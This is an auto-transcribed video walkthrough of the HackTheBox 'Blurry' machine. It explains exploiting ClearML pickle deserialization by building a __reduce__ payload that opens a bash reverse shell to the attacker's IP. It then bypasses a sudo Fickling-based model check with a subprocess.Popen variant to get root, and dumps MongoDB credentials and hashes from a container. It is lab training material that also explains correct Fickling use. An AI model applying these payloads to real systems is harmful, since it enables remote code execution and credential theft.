text: what's going on YouTube this is ipag I'm doing blurry from hack the box which I don't know how the Box got its name but it's all about attacking a company that's just starting to dabble in Ai and machine learning they have a domain that runs clear ML and I don't know what this is really either but according to Google it's an open source end AI platform designed to streamline AI adoption and the entire development life cycle looking at Google for vulnerabilities there is one for pickle derealization on retrieving artifacts and if you look around you can see that one of the users is is retrieving every artifact that's running on blurry with a specific tag and in a project so you can create a malicious artifact using a pickle Gadget to send you a reverse shell and then within a minute the user

title: HackTheBox - Blurry


text: will retrieve it and you get a shell on the box the prives is running pie torch and it before running pie torch it will use fickle to try to identify if the serialized object is dangerous and if it's not then it goes and executes it but how it's implemented it will send a lot of dangerous script still over to py torch and get code execution we'll dig into how to do that correctly so with all that being said let's just jump in as always we're going to start off with an end map so- SCC for default scripts SV enumerated versions dvv double rose this gives us the TTL OA output all formats put the end map directory and call it blurry then the IP address of 1010 11.19 this kind take some time to run so I've already ran it looking at the results we have just two ports open the first one being SSH on Port 22 and its Banner tells us it's a Debian server

title: HackTheBox - Blurry


text: we also have HTTP on Port 80 its Banner tells us it's engine X and it's directing us to app. blurry. htb so let's go ahead and add this to our host file so let's copy this we can do pseudo V ATC host and oh man I cannot type there okay and then we can add 101 11.19 app. blurry. htb and looking at this there's nothing else that really gives us we don't have engine X telling us any information about the OS or anything and that's just because that's debian's default debian's default puts engine X I think in release mode where it only says the major version I don't even think um this is accurate it says 180 I think it probably has other versioning that um Debian just doesn't put out so let's go take a look at it so I'm going to go to um HTTP app. blurry.

title: HackTheBox - Blurry


text: htb and we get this big page about clear ML and we can solve the box without doing the Recon I'm about to show but um I wouldn't do it anyways because we could just type a name here like IPC and then click Start and log in but I don't want to look at this just yet let's not get ahead of ourselves so I'm going to do a virtual host scan so let's do gobster vhost - HTTP blurry. htb and then the wordless op secist uh Discovery DNS subdomains uh it's probably a lowercase there top million 5,000 . text and before I run this I want to add the domain blurry. hdb here so um gobster can see it right I don't think I actually need that because it's just putting all the subdomains here oh no I do because it would try to register blurry. htb to get the IP address and fail there I mean we can show that real quick it won't take too long so let's

title: HackTheBox - Blurry


text: just put a comment here so in case you forgot to do that um you just get unable to connect right so save that re run it and we're going to get a few more domains we have API chat app and files so let's go ahead and add these so I'm going to add a API blurry htb then chat blurry htb and files blurry. HTP so let's just go ahead and take a look at API so I'm going to do API blurry htb put HTTP here and we just get Json so it says invalid request path slash and we have this whole Json string I always like doing a c-i just or we can put it in burp Suite but c-i is going to show me the headers of the page and this can be useful to identify like what the server is so we'll do API blurry htb and pquest okay so it sends a 400 and then also sends us this Json um seeing the Json there was I mean seeing a 400 was a bit odd I was expecting maybe like 500 I

title: HackTheBox - Blurry


text: don't know exactly what I was expecting but since I got a bunch of Json I definitely wasn't expecting a 400 error so let's see I'm going to Google error stack error data let's just Google a few of these fields and see if what comes up so we'll do error data error stack um result message see and right off the bat we get a clear ml page I don't think any of those are in Rust so I was just trying to identify like what the framework was or like a language um it doesn't look specific to anything maybe it's just a clear ml thing that puts all those in but sometimes like when you get a result and there's a bunch of flask Jango Express um then you get an idea of what the framework is running but we didn't get it there I'm going to guess it's just because clear ml made this page and not the framework itself so let's go over to

title: HackTheBox - Blurry


text: chat. blurry. HTP so that's the next subdomain I want to look at and if we go here we're going to get a rocket chat page I say rocket chat because I can see the icon up here and it wants us to log in to our workspace and Rocket chat had a lot of cves in the past couple years so whenever I see this I always like looking at what version is running um the latest ones aren't vulnerable but it's kind of one of those like PTSD type of things when I see rocket chat I'm like oh how can we pop this um the best way I found to enumerate the version of Rocket chat is just opening the network tab when you pull up the page and going to where it loads this the medor runtime config media is going to be like a full stack language um I want to say it's based upon JavaScript but um rocket chat uses meteor and if we look at the response it leaks what version of meteor is running so with this we can

title: HackTheBox - Blurry


text: just go over to GitHub so if we go github.com we probably want to go to Rocket chat actually so I'm going to search GitHub rocket chat this will just be a quick way to get onto the repo and then from here we're just going to search that medor phrase so if we go to search we type meteor 2.14 and wow we hit the rate liit really quickly um I'm going to pause the video and we're going to log in because that will give me uh more requests so we can actually play with GitHub it's really bad from an unauthorized user all right through the power of editing I have logged into GitHub so now we can just refresh and right off the bat we can look at the issues and this doesn't really tell us exactly what version is running but based upon when this string comes up we can get an idea of earliest possible ones right so if we look at this issue

title: HackTheBox - Blurry


text: um it was on February 21st the actual string we're looking for is probably 2.14 cuz that's the media version and right here March 23rd they are talking about they have increased it right so we know at least on March 23rd this existed so right now that's the earliest to me if we look at the PRS though we can see there was this chore which I find a funny label um but it was open January 25th to bump meteor 2 uh 214 so from this we know meteor is running in like 2024 so any vulnerability that's before this date probably isn't going to be um applicable so now when we go to a cve details for um rocket chat we can just look at what could be vulnerable and ignore everything that is um not a 2024 cve and then this gives us an idea of what we want to look for when we're poking at the app right so we see xss so cross- aate scripting that requires us interacting with the user so

title: HackTheBox - Blurry


text: we can probably ignore this unless we have a bot talking to us in rocket chat um message forgery impersonation so again this is going to require some type of social engineering denial a service um cross-site scripting again cross-site scripting um let's see this is cracking passwords uh service side request forgery in the tweo web hook I'm going to guess this needs admin privileges we could look into this more but normally a low priv user can't start interacting with web hooks um maybe it's um on authenticated but I don't know exactly is there easy way to see this maybe I click it it'll tell me um to no SQL injections to read live chat messages and then we go over in 2023 so there isn't really any cve that really sticks out to me the service side request fory is probably the most interesting one um

title: HackTheBox - Blurry


text: but I don't see quickly on how to tell if it's unauthenticated but the main thing is I just wanted to show um quick easy wins for enumerating applications just based upon um what they're using I know in some really old videos we had looked at like CSS scripts and javascripts but for applications that use meteor and some other like nodejs ones that build all the JavaScript um on runtime it becomes hard to like hash this JavaScript and then find it on the internet because it was generated on the server so it's a little bit unique so with that being said let's go and log into rocket chat by creating a new account and let's just do ipac root atps. Ro username ipac password of password and let's hope it doesn't make us use a complex password don't save it is thinking about it maybe it is creating the account now yep it is and

title: HackTheBox - Blurry


text: we have one unused uh unread message so looking at General um looks like there's quite a few actually so we have a message from Iris Ray Trace Lena jipp and if we click on it and do c profile we can get full names so we see Chad jippy which is kind of funny since the whole like clear ml thing is an AI thing so this is obviously a reference to chat G GPT which everyone calls Chad jity uh we have Iris view her name is Iris pupil um Lena spere is Lena tick so this is the type of enumeration I would be doing and we can look at it and they're just kind of talking about the vision they make references to announcements and if we click around we can see there is another channel so we go over to announcements and this is where they talk about clear ML and and this is a big hint that we have to um create

title: HackTheBox - Blurry


text: things in clear ML and then tag it with the review tag because if we do then JY is going to periodically um identify the task related to it we also have to use the Black Swan project so this is the whole purpose of Rocket chat to see all these messages however um if we just log into clear ML and here we just logged in with IC like you can use any username this um doesn't really make makes sense the funny thing is if we use like an existing user like Chad jity we can see his stuff we'll look at that in a second right but the whole reason we don't really need rocket chat is if we just click around on the project um and look at these this is going to be saying what's happening so if I click on details for review Json artifacts I can see the python script uh we have process Json uh process task but if we go down

title: HackTheBox - Blurry


text: to main I think it's main right here yeah uh review tasks so it's looking at all the tasks in Blacks one and then it's going to get the tasks that have a tag of review and then you can see it just does processing so the same information we got from rocket chat we got from this but the thing I wanted to point out also um if we look at let's say um where is it there's a way to see like my projects teamwork my work so if we go to my work it is empty if we go over to Chad jippy so I'm going to say Chad jity and I think it is case sensitive uh we go back to my work we can see things that Chad has done so I don't really understand this I've never really seen an application have this week of authentication but I think clear ml may be like a proof of concept type thing to run locally um or maybe it's

title: HackTheBox - Blurry


text: just configured in a God awful way but if we clicked around clear some more we do see a version it is running version 13.1 so if we look for exploits we know around what clear ml version to look for I'm just going to Google clear ml exploit and I'm going to ignore the PC's um let's go to this hidden layer blog post and I'm ignoring PC's because a lot of times those come out like after the box was released I always like looking at the blog post so I can read more information about it before I run it because that's where you learn about um the vulnerabilities and how they work and we see there's a vulnerability pickle load on artifact G there's also path traversal bad o uh cross-site scripting credential stored in plane text so we just have a lot of things about this the main one is going to be

title: HackTheBox - Blurry


text: this pickle load on artifact git and if we watch the video it shows the whole payload I'm just going to scroll down we're not going to go through all of these because we'd be here quite a while probably longer than end map takes to run but you can see just the examples of how it works so we import pickle we do run command it's got the reduce this is I want to say it's called a Dunder method in Python um the whole reason this works is it's serialization right and there's a lot of um methods that just can't be serialized so let's say you had a open file that open file probably has some methods and because it depends on the file Handler to the file system um if you ciz it to store it and then serialize it that file Handler may not be there so all those methods are just dead right so what reduce is going

title: HackTheBox - Blurry


text: to do is it would close that file U before you serialize it so it serializes it without it and then when you unserialize it it would go and open that file so the file hand alert is active and you have all the methods so that's a whole purpose of reduce and why serialization leads to code execution and that's true for pretty much every language right that's kind of like why serialization is dangerous because when you serialize objects objects can contain objects do contain code and because they contain code you can probably run command somehow so we're going to be creating a um script that will do a d serialization and then import it into the project and we can see that right here but before we can do this we have to uh configure our our boox to um talk clear ML and I think that happens upon first login and I probably

title: HackTheBox - Blurry


text: just clicked right through it so we're going to log out and log back in with a new account I'll call it please subscribe just because I don't know if this popup happens every time but if we actually read things as they are popped up it does instruct us how to install clear ml we do a pip install and then anit and then we have the boilerplate code so let's go ahead and do that so before I actually run um the PIP install I'm going to create a virtual environment so we'll do python-3 DM VM and then VM then we can say Source bin um VM bin activate so now we're in our virtual environment and we can run that pip install to um get clear ml so I'm going to pause the video while this installs it only takes like 30 45 seconds oh I don't even have to pause it is already done so now we can go over to the next step and do this clear ml init I guess I can just copy the copy or

title: HackTheBox - Blurry


text: click on the copy and it wants us to paste our configuration so I'm going to click uh create new credentials copy that to my clipboard um paste this and then it's all set up and it says the configuration is stored in IPC clear ml.com and if we look at this uh wow we have let's get rid of everything that has a comment because this is a lot more data than I expected I think that will everything has a comment okay let's see report period This is not going as quickly as I expected um let's see if the secret key is stored in clear text so the point I was trying to make here is when doing like whenever you gain access to users I always look for just various um config files because a lot of times I'll see things like a AWS directory that then has the keys to access um AWS in clear text so you can like like then access S3 and who knows what you'll find there right so finding configuration files to

title: HackTheBox - Blurry


text: um all the cloud things is always good so we can see the keys are stored in clear text here so um not relevant to the box but just a tangent like whenever you do um whenever you do pentes and come across directories those are the type of things to be on the lookout for so now let's create the exploit so I'm just going to call this we'll call it exploit. Pi um and we Port clear ml that is good uh we have to create the um pickle so I'm also going to say import pickle and then we import OS as well and then we want to create a class with the reduce that sends us a reverse shell so I'm just going to call this um class rev shell and then I can't remember do I need to put do they do that let's see no we just we don't need to put a argument so now we can Define reduce call it on self and then we're

title: HackTheBox - Blurry


text: going to return os. system and then the command right yes so we do B- C b-i Dev TCP 10 104 8 9,10 and one like that okay that's all done and now what we have to do is add it to the Black Swan project so we'll say Black Swan I think it had a space in it and we also have to give it the um review tag and that's not in the example here but again when we looked at um the code we don't have to go to my work teams work Black Swan where is review it shows how to do it here um with them putting tags right so we add that so we've initialized the project so now we have to upload the artifact and I think that was in this post right yep task. upload artifact so we can say upload artifact and then we can give it a name um we'll call it toned um artifact object and I'm going to give it the Rev shell then we say

title: HackTheBox - Blurry


text: retries uh wait on upload and then extension name I think that's it Python 3 exploit let's make sure we have a reverse shell or listener running we run it and let's see reduce must be a twool I don't think that worked we had some error my task we have a failed if we go to console definitely does not look like it worked so what did we mess up here oh I see it um we have to add a comma here because it's in these parentheses there we go run this again did not error right away that is good if we go back to black one let's see we have my task is running so that's good it is completed so now we just wait for the shell to return if we go to the review Json objects and look at info we can see uh we don't see the second it was created at um we just see minutes I think I wonder if we view the source uh did my browser just freeze oh

title: HackTheBox - Blurry


text: no my browser Froze that is bizarre I may pause the video and get my Firefox back I am not sure what just happened I was hoping to go to like the inspect Tab and then click on the date and see if it showed me the full date but I don't think I will be doing that um my whole VM froze actually like my X interface I can't click or type um okay so I'm going to pause a video we're going to fix this and then we'll come back and check it out oh wait Firefox crashed soon now was going to click um stop recording we got a shell or we got access so let's go back to this page um apparently it's not working I don't think because I don't have a shell yet so we go back here let's see blacks one experiments we have this task failing so something didn't happen to send us the reverse shell nun type object is not

title: HackTheBox - Blurry


text: iterable huh let's run this again and then we're going to look at it so less exploit. Pi what else did we screw up B- C Bashi that looks good maybe it's the space on task name let's go back here and get rid of the space run it again uh let's do oh we actually got a shell um I don't know why it didn't work the first time second time it worked uh let's just try this again to make sure I'm going to cat the um script again so we cat exploit. we did change the name here but I did not change the name before um it just decided to work which I always hate when that happens um it looks like it cleared out of here so we can't even see the results um my only guess is it's tried to send the shell but because her OS was like hung um I never caught it that's my guess i' really confused at what happened but the second time it

title: HackTheBox - Blurry


text: worked we don't have anything here did not upload review Json let's send this again CU I should see my task there we go so what I was doing and I'm scared to do this again but we're going to try for science go here sweet it did not hang we click on the date Let's see we only get up to minutes so sometimes you'll see that um it shows the full time but it only displays a portion of it it is possible if we go to the JavaScript that we'll see more so if we do task get all data here's all the tasks object let's see 42 47 so yes if we go to the actual JavaScript itself uh we can see the full time stamping get down to looks like milliseconds um so this is another thing if you ever want to get more information always dig through the source code because you don't know um if more will be exposed to you right so if we look at

title: HackTheBox - Blurry


text: my tasks do we have a shell yet we don't I'm guessing it runs every minute um I'm surprised a review has not been created you can see the artifact is a reverse shell uh there we go review is running we go back to network I wonder if it's going to be the bottom one there it is let's see does this run pretty much clean on an hour this should be a time stamp somewhere uh I'm not going to worry about too much but we do have a shell so it works I think my computer was just hung when we were trying to get a shell normally I would be doing the python UT PTY trick to get a full shell but in this I'm just going to cheat and we going to use an SSH key and the whole reason is I want to um do some tunneling for the Beyond rout so this will make it easier for us later so let's just copy this key we can save it so we'll do v um I'll call it

title: HackTheBox - Blurry


text: key paste then chod 600 key sh- I key uh we are the jity user so we'll do jipp blurry.

title: HackTheBox - Blurry


text: HTP and we get logged in with him awesome so now the root step if we just do pseudo L we can see we can evaluate model and give it a pth file this is going to be a pytorch file if we look at evaluate model to see exactly what it's doing we see um it defines a few things we have model file as the first argument we have a temporary directory then we would have this python script evaluate model um if we go all the way down we can see it is doing a let's see it's unzipping the pth file this is ARG one and that's it's going to do a find look for the pickle files and then run something called Fickling against them and what Fickling is is it's a dissembler that will like try to identify if a script is malicious so if we just Google Fickling GitHub we can get over to the repository and you can read what is about it but it just examines the python B code to to get an idea if something is

title: HackTheBox - Blurry


text: malicious or not um the script itself is not AI it's just heavily used in AIML environments because they really like using serialization um so you need a safe way to do it and the script is making a um I guess I don't know if I want to call it a common mistake but it is making a mistake of just running this from the command line and then saying hey if the severity is overtly ious then go and ab right but the recommed way to run this is actually just in line so if we look at the examples we just say Fickling always check safety and then what this is going to do is set a hook for when you um uniz something to run fickle against it and if it detects it as malicious then um it won't run but what they're doing is just running it and then it sees averly malicious and stops the issue here there's a lot of other severities than averly malicious there's unsafe there's likely averly malicious and we're only

title: HackTheBox - Blurry


text: checking for one and I don't know how to make something that Fickling decides is overtly malicious um we're just going to use our existing payload and um convert it to be a pie torch so let's go back to our box and take exploit. Pi so I'm going to call this um save pickle or we'll say call it save torch. p and we'll run it on this host so we don't have to install Pi torch I guess we could install Pi torch on our box but it's really simple what we want to do uh I think we just need the OS module I don't even think we needed pickle before um we probably could have just done it with clear ml so we have this rev shell and all I want to do is torch. saave rev shell and we'll call it um p.

title: HackTheBox - Blurry


text: pth we have to import torch and you probably should most torch modules um do like NN do I think it's module here for like neural network it's just kind of like how torch runs and you do like from torch import NN I think or maybe import torch.nn or something like that but we actually don't don't need any of that because we're not doing any machine learning here we're just exploting the distalization so um as long as we don't have typos I think this will work so I'm going to cat save torch so we can copy and paste it so copy go down here let's just work out Dev shm we'll call it save. Pi not Pi I there we go import Python 3 and it looks like it's saving so we do have a pth file so if we do NCL lvmp 90001 let's do a pseudo- l we can say pseudo evaluate modules modules and oh we have to copy so we'll

title: HackTheBox - Blurry


text: do CP Dev shm we called it p.

title: HackTheBox - Blurry


text: pth like that um we did not say where to copy it too there we go so it considers p. pth safe it says proceeding and then we get a sh route so let's take a step back and actually understand what we did here right so um I'm trying to think what do we want to show first let's just show all the Fickling stuff so the pytorch files are going to be Zips so if we do. pth we see it's a zip we knew it was a zip based upon evaluate model so if we just unzip p. pth then we get this stuff um and then in user bin evaluate um it did the Fickling output so let's just run this command so we do copy this and then we're going to paste or not paste um it's data. pickle and this is what it was running this thing um let's see save this code is declared likely overtly malicious not overtly malicious so that's why um it ran right if we wanted to we could change this a little bit and

title: HackTheBox - Blurry


text: probably change the severity because we see it's detecting it's overtly malicious because it's importing system and we also have um it declaring V zero but not being used and a system Command right um a lot of just exploits like using system so if we use a different way to run code uh we may have a lower severity right so let's test that theory out so I'm going to say um instead of os let's just use subprocess and then in sub process we can say what is it um trying to think is it I think it's p open right so we can do um subprocess dop openen and then I think we just give it arguments right so it's probably going to be bash like that- C I guess I can leave this in single quotes that's fine this may work not sure if I did the P open correctly I guess we will find out in a second so let's call save.

title: HackTheBox - Blurry


text: Pi um is it a capital P like that there's also subprocess run I guess we could have done uh so that's saved let's do the CP and run so it's considered safe let's see if we get a shell buff size must be integer so we did not um do this correctly I think the arguments need to be a tuple themselves maybe and if this isn't the case it's probably we have to have the um full path maybe like b bash but I always hate changing more than one thing at a time because I never know what the actual issue was so even though I know it's probably one or the other I want to try both so we call Save we call this again and we'll see if we get a shell if not then we're going to switch to um full things and it looks like it ran because we got subprocess P open but we don't have a shell so that is different I definitely

title: HackTheBox - Blurry


text: expected a shell so let's do which bash has probably been bash uh user b bash let's try that so we can try user b bash oh we forgot a comma there that could have been the issue all along call Save pseudo and there we go so there it is with running um the sub process so now the thing is what just happened there my termin just said exit weird um the question is is a script still overtly malicious or likely overtly malicious because we're no longer using OS so if we unzip p. pth um let's do all CD pone and now we can um do the Fickling and that's no longer my history let's see fickle cat user bin evaluate let's say copy this paste data to pickle and now the code is only likely unsafe just because it doesn't consider subprocess as dangerous as system so Fickling isn't really a foolproof thing but um it does still detect it and if we did the hook the way they recommended it uh it would have

title: HackTheBox - Blurry


text: still prevented this from running right so if we went to copy this and do it this way let's call this test.py we can paste this um we have to import do they show what the import is it's just called pickling like that okay data pickle Python 3 test.py uh maybe it's running a different version and we don't have that except except exception as e maybe this works need a colon there we go uh pickle is undefined that's not the error import pickle there we go so that is preventing this from running right if we uncomment the always check safety this is going to send us a shell hopefully yes it does so that is the correct way to use something like Fickling right so as long as you import it it sets the hook and then will check all the serialized objects for dangerous things and um alert you if not if you do something like this make sure you have logging so um when it detects something as malicious you get an email

title: HackTheBox - Blurry


text: and you can look into it because so many times people set something like this up then they ignore the alert and then the attacker just plays with the pickle file until they can bypass and get it declared as safe and then they get a shell it always just takes a longer to bypass this and normally they don't bypass it the very first time because they don't know you have this Fickling thing checking so you normally get alerted before the um attack is successful so that is key um what else do we want to show I guess we could um show kind of how fickle works I guess I don't know much about it because this is going to a python level I don't really know but if we edit test.py um we can import pickle tools right get rid of that uh we can open the data and then we're just going to call Pickle tools so we'll say pickle

title: HackTheBox - Blurry


text: tools. dis for disassemble on the file and I think this is exactly how umling is going to look at it so it sees the commands. open being um Ed here and then it's looking at these variables um it creates a tuple of three and two so this T three is making it of these and then this leaves the stack and then when it calls Tuple one it's going to make a tupal of P open and Bash and then call reduce and we never actually use the output of what a reverse shell is so that's why it says Zer is unused I believe um but that is the bite code it looks at you can also we go back to Fickling I think there's a dash Trace I don't know what this Dash ass is doing let's get rid of that real quick um okay- s is giving it like more information there is a d d Trace option I think right uh let's see run last D- Trace

title: HackTheBox - Blurry


text: okay so with the dash um Json output this is writing to standard out right here if you didn't know what Dev fd1 was That's Just Right Json output to um standard out but the trace option is going to do essentially what we did with the um viewing the bite code except it tells us a bit more um in a human readable format of what's Happening so that is going to be the Fickling stuff um the other thing I wanted to talk about is if you didn't run the pseudo command I don't think there's an like alternative path but there is something I would always do on boxes like this right if we went all the way back to this clear ml thing um I guess I have to go exploit clear ML and go back to that hidden layers blog post it talked about like things in plain text in manga database right um the default Port I think is 27017 um I could get that wrong let's just check um it's not listening on that

title: HackTheBox - Blurry


text: Port because it is probably running Docker right so if we do a LS let's see that's our ss8 session there we go we have doco running and we have a few container ports um there is the docker IPS there's probably going to be a few more containers running we have redus running right here which is a caching thing uh file server here's a  Let's see we don't see the IP it was 1728 for this right yes so I'm just going to Google default Port 27017 awesome NC 1728 01 this let's add zv I need a period not there two three one of these going to be right four hopefully five I am starting to think I won't find it let's see is our Command good 1271 it l rep 3,000 right yes it does okay 27017 do oh it's 18 not eight hopefully this comes back let's just say for I in sequent zero we'll go uh 16 do time out one I done is that going to work yes it is

title: HackTheBox - Blurry


text: we probably want to Echo I first real quick we can say Echo 17280 I time out 1 okay and watch it be 172 1618 um Docker PS or we're not in the docker group psf Forest l- capital S what is it no 17280 17280 okay hopefully we get a connection back because I know is running let's see mongodb port 27017 does it run a nondefault port okay so this is going to be the benefit to doing a Beyond rout right uh we can just cheat so we're going to um get a root shell so we can run do Ops and figure out exactly what we are missing um we could spend probably 20 25 minutes going to troubleshoot it but once you pop the machine you can explore things and doing that just um speeds up your learning process tremendously so we'll see exactly what we did wrong here um we just have to pop the machine we called it save. Pi that still has a reverse shell so let's just do a

title: HackTheBox - Blurry


text: CP pone pth models then pseudo is that not there wow I guess I restarted the shell since I got one um CP pone pth models oh yeah my shell just randomly closed that's what happened pseudo P pth it's considered safe give me that shell there it is Docker PS awesome uh let's see Docker exact it it's probably going to be 270 17 that that's right what did we screw up Docker exact it we have to get a TTY Python 3 import PTY PTY spawn b bash stty raw minus Echo foreground okay Docker exact it a504 B sh IPA if config oh man um let's say Docker inspect awesome it is 17285 so why did we not hit that and see I'm guessing the subprocess command has an exit and that's what's caus a shell to die that that's funny um NZ zv 17218 0 5 27017 27017 I'm actually shocked I can't reach this oh it's just I wasn't giving it enough time I was just impatient so what was happening

title: HackTheBox - Blurry


text: is it was trying to do a DNS lookup and the DNS lookup was like timing out and that's why it took a while um is there like an NC option to not do DNS let's see allow broadcast DNS and so there we go that is what I wanted to do um I bet if we go back to that four command um let's say sequence there we go we can copy this paste done for I let's add the N there we go much faster scan we don't even need the timeout and then all these host aren't even running so um yeah that's the benefit of doing a Beyond route I did not expect to learn that but hey I did here we are so now we know the container IP is 17285 let's forward that back to ourself because I don't think we have the dump command here right that is just a container so I'm going to do enter the command prompt so if the first thing you type is squiggly C it'll go to a prompt

title: HackTheBox - Blurry


text: like this so we can say - L 27017 we want to forward it to 17285 on Port 27017 and if I look at what's listening now because I haven't hit enter we're not listening now we are so if I do a NC Local Host 27017 I connect to that Docker or to that instance um yeah we're connected it's just not outputting anything and I always hate IPv6 when it does it so I'm going to do 12701 I don't think it would cause an issue here but I've seen that cause issues before in other protocols so now we have to get mongod dump because that's not even installed on my box so let's just Google mongod dump download and I think that brings us to like utils there we go or maybe database tools this is documentation we want this tools and let's see database tools we don't want shell oh my God this website is jav uh Bonkers stop refreshing database

title: HackTheBox - Blurry


text: tools copy link there we go W get different clipboard there we go t xvf let's extract this okay let's see there's a bin SL mongod dump do we have it okay it does work oh it was running it just takes a little bit um so let's just run mongod dump it's going to um connect to Local Host which goes through SSH and on the other end we'll get a database dump right so if we just go in here bin there's the dump so we have back end dumped here there is rocket chat so I'm going to pause the video it's probably going to take a little while for it to dump everything so we'll come back when that's done and then start analyzing it oh wait I think I've said that like three times in this video soon as I'm about to pause the video it finishes okay so let's see we have everything dumped so if we want to uh let's say let's dump rocket chat

title: HackTheBox - Blurry


text: first um rocket chat has users. Bon and Bon I forget exactly what it stands for it's just a format that's hard to read but we can do a tool called um Bon dump right there and then this will let us read this so if we do Bon dump rocket chat users. Bon then we get it in um a Json object and we can see it so if we wanted to we could potentially crack passwords right so we have my password right here if we just GP on bcrypt I know we could do a JQ query but I've already recorded long enough we'll do it the easy way of just grapping we could try to crack all these see if we get any more hashes out or any more passwords that crack and then maybe can log into the box or get something there um if we look at other things let's see LS dump um guessing it's off probably what is user. Bon and O so let's go user Bon

title: HackTheBox - Blurry


text: o no bcrypt here's my key and secret so this is going to be um clear ML and there is no real concept to pass as we found maybe that's how clear ml is configured so that password's not in PL text but we see clear um keys and secrets are so this is just us dumping that database we could also um grap - capital r I'm going to do pass W on the dump directory and let's see um rocket chap permissions we have just Json there that's odd let's see rocket chat users metadata so backend task and task trash this has the phrase p w in it so I would also be looking at these so let's do a bon dump here so Bon dump run I want to keep the path I did not want to keep the path pipe it over to JQ look for this phrase pass W that's passing let's actually do pass W so data set user root password password so that's in one of the configs

title: HackTheBox - Blurry


text: the Omega there was also a task trash or something right let's see task trash. bson there we go look for pass W um SSH password is training so you can get more passwords out of the database I don't know what these are used for but um I just found this interesting hopefully you enjoyed the Beyond route and all the stuff about fickle um take care all and I will see you all next time

title: HackTheBox - Blurry